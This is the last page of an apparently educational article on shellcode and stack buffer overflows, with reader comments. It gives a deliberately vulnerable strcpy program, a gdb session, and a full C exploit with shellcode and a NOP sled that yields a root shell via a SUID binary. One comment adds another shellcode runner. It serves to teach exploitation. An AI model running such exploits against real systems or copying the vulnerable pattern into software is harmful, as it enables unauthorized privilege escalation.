How Shellcodes Work
Pages: 1, 2, 3, 4
How It Works in Exploit
A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:
void sum(int a,int b) {
int c = a + b;
}
The stack inside of sum() will look like this:
b a <return address> <ebp contents> c
The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:
#include
<stdio.h>
void sum(int a,int b) {
int c = a + b;
}
void bad_copy_string(char *s)
{
char local[1024];
strcpy(local,s);
printf("string is %s\n",local);
}
int main(int argc, char *argv[])
{
sum(1,2);
bad_copy_string(argv[1]);
}
The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.
Compile this victim code and run it:
% gcc -o overflow overflow.c
% ./overflow 'All seems fine'
string is All seems fine
Everything seems indeed right, but call it with a parameter longer than 1024 characters:
% ./overflow `perl -e 'print "a" x 2000'`
string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash: segmentation fault (core dumped) ./overflow `perl -e 'print "a" x 2000'`
The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:
% gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux".
Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:
(gdb) info register esp
esp 0xbffff334 0xbffff334
Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:
#include <stdlib.h>
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";
#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334
int main()
{
char buffer[LEN]; int i;
/* first fill up the buffer with NOPs */
for (i=0;i<LEN;i++)
buffer[i] = NOP;
/* and then the shellcode */
memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));
/* and finally the address to return to */
*(int*)(&buffer[LEN-4]) = RET;
/* run program with buffer as parameter */
execlp("./overflow","./overflow",buffer,NULL);
return 0;
}
The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:
% gcc -o exploit exploit.c
% ./exploit
string is <lots of garbage>
Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:
% chmod +s overflow
% su
# chown root overflow
# exit
% ./exploit
string is <lots of garbage>
sh# whoami
root
That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.
Conclusion
In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.
Recommended Reading
Peter Mikhalenko works in Deutsche Bank as a business consultant.
Return to the Linux DevCenter.
You must be logged in to the O'Reilly Network to post a talkback.
Showing messages 1 through 10 of 10.
-
No success when trying with a vmware virtual machine
2006-09-10 03:39:12 wav3 [Reply | View]
Im using a linux (backtrack iso) image embeded in a vmware machine running on windows. When I execute the exploit.c program I always get segmentation fault. I have noticed that esp varies everytime I force a segmentation fault on the overflow.c program. Am I doing something wrong? or its not possible to overflow vulnerable programs on virtual machines?
thx
-
Problem compiling c example.
2006-05-22 07:25:54 Kza [Reply | View]
First C example:
char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";
main() {
int (*shell)();
(int)shell = code;
shell();
}
Gives compiler error:
shellApp.c: In function ‘main’:
shellApp.c:9: error: invalid lvalue in assignment
-
Problem compiling c example.
2008-08-16 16:00:04 lwante [Reply | View]
What gryzlo said is wrong... the problem here is that you are trying to cast and lvalue(left value) which is illegal. The solution is going to be casting the variable code on the line. Try this:
shell = (int(*)()) code;
What we are doing is here casting code to be a function pointer which returns an integer... in effect will eventually allows us to execute our "shellcode". I suggest reading "Smashing the Stack for fun and profit" by Aleph1 one.
-
Writing to executable memory?
2006-05-21 21:35:11 VesK [Reply | View]
Excellent article indeed.
I am a bit surprised that writing to executable memory does not generate the segfault. Consider the following bit of code:
jmp short stuff
code:
pop esi
; address of string
; now in ESI
xor eax,eax
; put zero into EAX
mov byte [esi + 17],al ; =======
; count 18 symbols (index starts from zero)
; and putting a zero value there (EAX register equals to zero)
; The string will become This is my string0
stuff:
call code
db 'This is my string#'
The line marked with ======= is in effect writing to executable memory (i.e. self-modifying program). Since 80386 Intel introduced memory protection and this makes easy for the OS to mark pages for Read, Write and Execute. My understanding is that - at least outside ring 0 - pages marked Execute should not be writeable and pages marked Write should not be executable. What am I missing? -
Writing to executable memory?
2006-05-22 13:35:09 gryzlo [Reply | View]
You're missing that this code is being executed when it already resists inside stack, so mentioned write operation is made neither on read/write memory area nor on executable memory area. Stack is a different data area so it's out of operating system's page control. -
Writing to executable memory?
2006-05-22 10:48:22 davidrosario [Reply | View]
I know that (at least) in Windows XP, you can enable writing to executable memory. I'm a Linux programmer, but for music production, I have Sonar Producer Edition and Cubase SX 3, and the instructions for Sonar state that you need to enable this feature. This type of code would obviously work for some XP deployments (thanks to Sonar).
-
Excellent article
2006-05-19 07:38:29 perd [Reply | View]
I'm glad to see that O'Reilly posted this article. It is well-written, well-explained, and very informative. I hope to see more in-depth articles like this from Peter, he's a great writer. -
Excellent article
2006-05-24 23:19:59 olleolleolle [Reply | View]
+1. The kind, informative, edifying and helpful words on assembly programming were just... great. If Peter is to write anything else, there is an interested public right here.
In the interest of education, I'd like to read another article to the tune of "This is what [Your OS] Does To Protect You." How these overflow attacks are stopped, why my computer isn't overrun right now, etc.
Thanks again, Peter, and thanks O'Reilly, for bringing this up.




It's easy to understand and very useful.
Thanks Peter and thanks O'Reilly too.
John.